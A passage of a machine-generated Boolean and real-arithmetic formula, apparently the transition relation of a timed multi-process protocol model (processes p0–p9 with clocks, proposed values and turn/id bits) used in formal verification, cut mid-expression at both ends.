+ (-1.0 * _x_p9_x))) == 0.0)) && ((p9_saved_max == _x_p9_saved_max) && (proposed9 == _x_proposed9))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1)))))))))) && (((((_x_p9_l1 && ( !_x_p9_l0)) && (_x_p9_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed9 == _x_proposed9))) && (max_prop == _x_p9_saved_max)) || ( !((( !p9_l0) && ( !p9_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p9_saved_max) && (((_x_p9_l0 && ( !_x_p9_l1)) && (_x_p9_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) && (proposed9 == _x_proposed9)))) || ( !((p9_l1 && ( !p9_l0)) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed9 == _x_proposed9)) && ((max_prop == _x_p9_saved_max) && (((( !_x_p9_l0) && ( !_x_p9_l1)) && (_x_p9_x == 0.0)) || ((_x_p9_l0 && _x_p9_l1) && (p9_x == _x_p9_x))))) || ( !((p9_l0 && ( !p9_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p9_saved_max) && (((( !_x_p9_l0) && ( !_x_p9_l1)) && (p9_x == _x_p9_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed9 <= _x_proposed9))))) || ( !((p9_l0 && p9_l1) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p8_l0) && ( !_x_p8_l1)) || (_x_p8_l0 && ( !_x_p8_l1))) || ((_x_p8_l1 && ( !_x_p8_l0)) || (_x_p8_l0 && _x_p8_l1))) && ( !(_x_proposed8 <= 0.0))) && ((_x_p8_x <= _x_proposed8) || ( !(_x_p8_l1 && ( !_x_p8_l0))))) && (((((p8_l0 == _x_p8_l0) && (p8_l1 == _x_p8_l1)) && ((delta + (p8_x + (-1.0 * _x_p8_x))) == 0.0)) && ((p8_saved_max == _x_p8_saved_max) && (proposed8 == _x_proposed8))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1)))))))))) && (((((_x_p8_l1 && ( !_x_p8_l0)) && (_x_p8_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed8 == _x_proposed8))) && (max_prop == _x_p8_saved_max)) || ( !((( !p8_l0) && ( !p8_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p8_saved_max) && (((_x_p8_l0 && ( !_x_p8_l1)) && (_x_p8_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) && (proposed8 == _x_proposed8)))) || ( !((p8_l1 && ( !p8_l0)) && ((( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed8 == _x_proposed8)) && ((max_prop == _x_p8_saved_max) && (((( !_x_p8_l0) && ( !_x_p8_l1)) && (_x_p8_x == 0.0)) || ((_x_p8_l0 && _x_p8_l1) && (p8_x == _x_p8_x))))) || ( !((p8_l0 && ( !p8_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p8_saved_max) && (((( !_x_p8_l0) && ( !_x_p8_l1)) && (p8_x == _x_p8_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed8 <= _x_proposed8))))) || ( !((p8_l0 && p8_l1) && ((( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p7_l0) && ( !_x_p7_l1)) || (_x_p7_l0 && ( !_x_p7_l1))) || ((_x_p7_l1 && ( !_x_p7_l0)) || (_x_p7_l0 && _x_p7_l1))) && ( !(_x_proposed7 <= 0.0))) && ((_x_p7_x <= _x_proposed7) || ( !(_x_p7_l1 && ( !_x_p7_l0))))) && (((((p7_l0 == _x_p7_l0) && (p7_l1 == _x_p7_l1)) && ((delta + (p7_x + (-1.0 * _x_p7_x))) == 0.0)) && ((p7_saved_max == _x_p7_saved_max) && (proposed7 == _x_proposed7))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1))))))))) && (((((_x_p7_l1 && ( !_x_p7_l0)) && (_x_p7_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed7 == _x_proposed7))) && (max_prop == _x_p7_saved_max)) || ( !((( !p7_l0) && ( !p7_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p7_saved_max) && (((_x_p7_l0 && ( !_x_p7_l1)) && (_x_p7_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id0 && _x_id1)))) && (proposed7 == _x_proposed7)))) || ( !((p7_l1 && ( !p7_l0)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed7 == _x_proposed7)) && ((max_prop == _x_p7_saved_max) && (((( !_x_p7_l0) && ( !_x_p7_l1)) && (_x_p7_x == 0.0)) || ((_x_p7_l0 && _x_p7_l1) && (p7_x == _x_p7_x))))) || ( !((p7_l0 && ( !p7_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p7_saved_max) && (((( !_x_p7_l0) && ( !_x_p7_l1)) && (p7_x == _x_p7_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed7 <= _x_proposed7))))) || ( !((p7_l0 && p7_l1) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p6_l0) && ( !_x_p6_l1)) || (_x_p6_l0 && ( !_x_p6_l1))) || ((_x_p6_l1 && ( !_x_p6_l0)) || (_x_p6_l0 && _x_p6_l1))) && ( !(_x_proposed6 <= 0.0))) && ((_x_p6_x <= _x_proposed6) || ( !(_x_p6_l1 && ( !_x_p6_l0))))) && (((((p6_l0 == _x_p6_l0) && (p6_l1 == _x_p6_l1)) && ((delta + (p6_x + (-1.0 * _x_p6_x))) == 0.0)) && ((p6_saved_max == _x_p6_saved_max) && (proposed6 == _x_proposed6))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0)))))))))) && (((((_x_p6_l1 && ( !_x_p6_l0)) && (_x_p6_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed6 == _x_proposed6))) && (max_prop == _x_p6_saved_max)) || ( !((( !p6_l0) && ( !p6_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p6_saved_max) && (((_x_p6_l0 && ( !_x_p6_l1)) && (_x_p6_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id1 && ( !_x_id0))))) && (proposed6 == _x_proposed6)))) || ( !((p6_l1 && ( !p6_l0)) && ((( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed6 == _x_proposed6)) && ((max_prop == _x_p6_saved_max) && (((( !_x_p6_l0) && ( !_x_p6_l1)) && (_x_p6_x == 0.0)) || ((_x_p6_l0 && _x_p6_l1) && (p6_x == _x_p6_x))))) || ( !((p6_l0 && ( !p6_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p6_saved_max) && (((( !_x_p6_l0) && ( !_x_p6_l1)) && (p6_x == _x_p6_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed6 <= _x_proposed6))))) || ( !((p6_l0 && p6_l1) && ((( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p5_l0) && ( !_x_p5_l1)) || (_x_p5_l0 && ( !_x_p5_l1))) || ((_x_p5_l1 && ( !_x_p5_l0)) || (_x_p5_l0 && _x_p5_l1))) && ( !(_x_proposed5 <= 0.0))) && ((_x_p5_x <= _x_proposed5) || ( !(_x_p5_l1 && ( !_x_p5_l0))))) && (((((p5_l0 == _x_p5_l0) && (p5_l1 == _x_p5_l1)) && ((delta + (p5_x + (-1.0 * _x_p5_x))) == 0.0)) && ((p5_saved_max == _x_p5_saved_max) && (proposed5 == _x_proposed5))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1)))))))))) && (((((_x_p5_l1 && ( !_x_p5_l0)) && (_x_p5_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed5 == _x_proposed5))) && (max_prop == _x_p5_saved_max)) || ( !((( !p5_l0) && ( !p5_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p5_saved_max) && (((_x_p5_l0 && ( !_x_p5_l1)) && (_x_p5_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && (proposed5 == _x_proposed5)))) || ( !((p5_l1 && ( !p5_l0)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed5 == _x_proposed5)) && ((max_prop == _x_p5_saved_max) && (((( !_x_p5_l0) && ( !_x_p5_l1)) && (_x_p5_x == 0.0)) || ((_x_p5_l0 && _x_p5_l1) && (p5_x == _x_p5_x))))) || ( !((p5_l0 && ( !p5_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p5_saved_max) && (((( !_x_p5_l0) && ( !_x_p5_l1)) && (p5_x == _x_p5_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed5 <= _x_proposed5))))) || ( !((p5_l0 && p5_l1) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p4_l0) && ( !_x_p4_l1)) || (_x_p4_l0 && ( !_x_p4_l1))) || ((_x_p4_l1 && ( !_x_p4_l0)) || (_x_p4_l0 && _x_p4_l1))) && ( !(_x_proposed4 <= 0.0))) && ((_x_p4_x <= _x_proposed4) || ( !(_x_p4_l1 && ( !_x_p4_l0))))) && (((((p4_l0 == _x_p4_l0) && (p4_l1 == _x_p4_l1)) && ((delta + (p4_x + (-1.0 * _x_p4_x))) == 0.0)) && ((p4_saved_max == _x_p4_saved_max) && (proposed4 == _x_proposed4))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1)))))))))) && (((((_x_p4_l1 && ( !_x_p4_l0)) && (_x_p4_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed4 == _x_proposed4))) && (max_prop == _x_p4_saved_max)) || ( !((( !p4_l0) && ( !p4_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p4_saved_max) && (((_x_p4_l0 && ( !_x_p4_l1)) && (_x_p4_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) && (proposed4 == _x_proposed4)))) || ( !((p4_l1 && ( !p4_l0)) && ((( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed4 == _x_proposed4)) && ((max_prop == _x_p4_saved_max) && (((( !_x_p4_l0) && ( !_x_p4_l1)) && (_x_p4_x == 0.0)) || ((_x_p4_l0 && _x_p4_l1) && (p4_x == _x_p4_x))))) || ( !((p4_l0 && ( !p4_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p4_saved_max) && (((( !_x_p4_l0) && ( !_x_p4_l1)) && (p4_x == _x_p4_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed4 <= _x_proposed4))))) || ( !((p4_l0 && p4_l1) && ((( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p3_l0) && ( !_x_p3_l1)) || (_x_p3_l0 && ( !_x_p3_l1))) || ((_x_p3_l1 && ( !_x_p3_l0)) || (_x_p3_l0 && _x_p3_l1))) && ( !(_x_proposed3 <= 0.0))) && ((_x_p3_x <= _x_proposed3) || ( !(_x_p3_l1 && ( !_x_p3_l0))))) && (((((p3_l0 == _x_p3_l0) && (p3_l1 == _x_p3_l1)) && ((delta + (p3_x + (-1.0 * _x_p3_x))) == 0.0)) && ((p3_saved_max == _x_p3_saved_max) && (proposed3 == _x_proposed3))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1))))))))) && (((((_x_p3_l1 && ( !_x_p3_l0)) && (_x_p3_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed3 == _x_proposed3))) && (max_prop == _x_p3_saved_max)) || ( !((( !p3_l0) && ( !p3_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p3_saved_max) && (((_x_p3_l0 && ( !_x_p3_l1)) && (_x_p3_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id0 && _x_id1)))) && (proposed3 == _x_proposed3)))) || ( !((p3_l1 && ( !p3_l0)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed3 == _x_proposed3)) && ((max_prop == _x_p3_saved_max) && (((( !_x_p3_l0) && ( !_x_p3_l1)) && (_x_p3_x == 0.0)) || ((_x_p3_l0 && _x_p3_l1) && (p3_x == _x_p3_x))))) || ( !((p3_l0 && ( !p3_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p3_saved_max) && (((( !_x_p3_l0) && ( !_x_p3_l1)) && (p3_x == _x_p3_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed3 <= _x_proposed3))))) || ( !((p3_l0 && p3_l1) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p2_l0) && ( !_x_p2_l1)) || (_x_p2_l0 && ( !_x_p2_l1))) || ((_x_p2_l1 && ( !_x_p2_l0)) || (_x_p2_l0 && _x_p2_l1))) && ( !(_x_proposed2 <= 0.0))) && ((_x_p2_x <= _x_proposed2) || ( !(_x_p2_l1 && ( !_x_p2_l0))))) && (((((p2_l0 == _x_p2_l0) && (p2_l1 == _x_p2_l1)) && ((delta + (p2_x + (-1.0 * _x_p2_x))) == 0.0)) && ((p2_saved_max == _x_p2_saved_max) && (proposed2 == _x_proposed2))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0)))))))))) && (((((_x_p2_l1 && ( !_x_p2_l0)) && (_x_p2_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed2 == _x_proposed2))) && (max_prop == _x_p2_saved_max)) || ( !((( !p2_l0) && ( !p2_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p2_saved_max) && (((_x_p2_l0 && ( !_x_p2_l1)) && (_x_p2_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) && (proposed2 == _x_proposed2)))) || ( !((p2_l1 && ( !p2_l0)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed2 == _x_proposed2)) && ((max_prop == _x_p2_saved_max) && (((( !_x_p2_l0) && ( !_x_p2_l1)) && (_x_p2_x == 0.0)) || ((_x_p2_l0 && _x_p2_l1) && (p2_x == _x_p2_x))))) || ( !((p2_l0 && ( !p2_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p2_saved_max) && (((( !_x_p2_l0) && ( !_x_p2_l1)) && (p2_x == _x_p2_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed2 <= _x_proposed2))))) || ( !((p2_l0 && p2_l1) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p1_l0) && ( !_x_p1_l1)) || (_x_p1_l0 && ( !_x_p1_l1))) || ((_x_p1_l1 && ( !_x_p1_l0)) || (_x_p1_l0 && _x_p1_l1))) && ( !(_x_proposed1 <= 0.0))) && ((_x_p1_x <= _x_proposed1) || ( !(_x_p1_l1 && ( !_x_p1_l0))))) && (((((p1_l0 == _x_p1_l0) && (p1_l1 == _x_p1_l1)) && ((delta + (p1_x + (-1.0 * _x_p1_x))) == 0.0)) && ((p1_saved_max == _x_p1_saved_max) && (proposed1 == _x_proposed1))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1)))))))))) && (((((_x_p1_l1 && ( !_x_p1_l0)) && (_x_p1_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed1 == _x_proposed1))) && (max_prop == _x_p1_saved_max)) || ( !((( !p1_l0) && ( !p1_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p1_saved_max) && (((_x_p1_l0 && ( !_x_p1_l1)) && (_x_p1_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) && (proposed1 == _x_proposed1)))) || ( !((p1_l1 && ( !p1_l0)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed1 == _x_proposed1)) && ((max_prop == _x_p1_saved_max) && (((( !_x_p1_l0) && ( !_x_p1_l1)) && (_x_p1_x == 0.0)) || ((_x_p1_l0 && _x_p1_l1) && (p1_x == _x_p1_x))))) || ( !((p1_l0 && ( !p1_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p1_saved_max) && (((( !_x_p1_l0) && ( !_x_p1_l1)) && (p1_x == _x_p1_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed1 <= _x_proposed1))))) || ( !((p1_l0 && p1_l1) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p0_l0) && ( !_x_p0_l1)) || (_x_p0_l0 && ( !_x_p0_l1))) || ((_x_p0_l1 && ( !_x_p0_l0)) || (_x_p0_l0 && _x_p0_l1))) && ( !(_x_proposed0 <= 0.0))) && ((_x_p0_x <= _x_proposed0) || ( !(_x_p0_l1 && ( !_x_p0_l0))))) && (((((p0_l0 == _x_p0_l0) && (p0_l1 == _x_p0_l1)) && ((delta + (p0_x + (-1.0 * _x_p0_x))) == 0.0)) && ((p0_saved_max == _x_p0_saved_max) && (proposed0 == _x_proposed0))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1)))))))))) && (((((_x_p0_l1 && ( !_x_p0_l0)) && (_x_p0_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed0 == _x_proposed0))) && (max_prop == _x_p0_saved_max)) || ( !((( !p0_l0) && ( !p0_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p0_saved_max) && (((_x_p0_l0 && ( !_x_p0_l1)) && (_x_p0_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) && (proposed0 == _x_proposed0)))) || ( !((p0_l1 && ( !p0_l0)) && ((( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed0 == _x_proposed0)) && ((max_prop == _x_p0_saved_max) && (((( !_x_p0_l0) && ( !_x_p0_l1)) && (_x_p0_x == 0.0)) || ((_x_p0_l0 && _x_p0_l1) && (p0_x == _x_p0_x))))) || ( !((p0_l0 && ( !p0_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p0_saved_max) && (((( !_x_p0_l0) && ( !_x_p0_l1)) && (p0_x == _x_p0_x)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && ( !(proposed0 <= _x_proposed0))))) || ( !((p0_l0 && p0_l1) && ((( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((((((((((((((((((((((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) || ((_x_id4 && (( !_x_id3) && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) || ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id0 && _x_id1)))) || ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) || ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) || ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) || ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id0 && _x_id1)))) || ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) || ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id0 && ( !_x_id1))))) || ((( !_x_id4) && (_x_id3 && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) || ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id0 && _x_id1)))) || ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) || ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) || ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) || ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id0 && _x_id1)))) || ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id1 && ( !_x_id0))))) || ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) || ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) || ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id0 && _x_id1)))) || ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) || ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) || (( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id0 && ( !_x_id1)))))))))))))))))))))))))) && ((_x_turn4 && (( !_x_turn3) && (_x_turn2 && (( !_x_turn0) && ( !_x_turn1))))) || ((_x_turn4 && (( !_x_turn3) && (( !_x_turn2) && (_x_turn0 && _x_turn1)))) || ((_x_turn4 && (( !_x_turn3) && (( !_x_turn2) && (_x_turn1 && ( !_x_turn0))))) || ((_x_turn4 && (( !_x_turn3) && (( !_x_turn2) && (_x_turn0 && ( !_x_turn1))))) || ((_x_turn4 && (( !_x_turn3) && (( !_x_turn2) && (( !_x_turn0) && ( !_x_turn1))))) || ((( !_x_turn4) && (_x_turn3 && (_x_turn2 && (_x_turn0 && _x_turn1)))) || ((( !_x_turn4) && (_x_turn3 && (_x_turn2 && (_x_turn1 && ( !_x_turn0))))) || ((( !_x_turn4) && (_x_turn3 && (_x_turn2 && (_x_turn0 && ( !_x_turn1))))) || ((( !_x_turn4) && (_x_turn3 && (_x_turn2 && (( !_x_turn0) && ( !_x_turn1))))) || ((( !_x_turn4) && (_x_turn3 && (( !_x_turn2) && (_x_turn0 && _x_turn1)))) || ((( !_x_turn4) && (_x_turn3 && (( !_x_turn2) && (_x_turn1 && ( !_x_turn0))))) || ((( !_x_turn4) && (_x_turn3 && (( !_x_turn2) && (_x_turn0 && ( !_x_turn1))))) || ((( !_x_turn4) && (_x_turn3 && (( !_x_turn2) && (( !_x_turn0) && ( !_x_turn1))))) || ((( !_x_turn4) && (( !_x_turn3) && (_x_turn2 && (_x_turn0 && _x_turn1)))) || ((( !_x_turn4) && (( !_x_turn3) && (_x_turn2 && (_x_turn1 && ( !_x_turn0))))) || ((( !_x_turn4) && (( !_x_turn3) && (_x_turn2 && (_x_turn0 && ( !_x_turn1))))) || ((( !_x_turn4) && (( !_x_turn3) && (_x_turn2 && (( !_x_turn0) && ( !_x_turn1))))) || ((( !_x_turn4) && (( !_x_turn3) && (( !_x_turn2) && (_x_turn0 && _x_turn1)))) || ((( !_x_turn4) && (( !_x_turn3) && (( !_x_turn2) && (_x_turn1 && ( !_x_turn0))))) || ((( !_x_turn4) && (( !_x_turn3) && (( !_x_turn2) && (( !_x_turn0) && ( !_x_turn1))))) || (( !_x_turn4) && (( !_x_turn3) && (( !_x_turn2) && (_x_turn0 && ( !_x_turn1)))))))))))))))))))))))))) && ((delta <= 0.0) || (_x_inc_max_prop && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (((((turn0 == _x_turn0) && (turn1 == _x_turn1)) && (turn2 == _x_turn2)) && (turn3 == _x_turn3)) && (turn4 == _x_turn4)))))) && (0.0 <= _x_delta)) && (_x_proposed0 <= _x_max_prop)) && (_x_proposed1 <= _x_max_prop)) && (_x_proposed2 <= _x_max_prop)) && (_x_proposed3 <= _x_max_prop)) && (_x_proposed4 <= _x_max_prop)) && (_x_proposed5 <= _x_max_prop)) && (_x_proposed6 <= _x_max_prop)) && (_x_proposed7 <= _x_max_prop)) && (_x_proposed8 <= _x_max_prop)) && (_x_proposed9 <= _x_max_prop)) && (_x_proposed10 <= _x_max_prop)) && (_x_proposed11 <= _x_max_prop)) && (_x_proposed12 <= _x_max_prop)) && (_x_proposed13 <= _x_max_prop)) && (_x_proposed14 <= _x_max_prop)) && (_x_proposed15 <= _x_max_prop)) && (_x_proposed16 <= _x_max_prop)) && (_x_proposed17 <= _x_max_prop)) && (_x_proposed18 <= 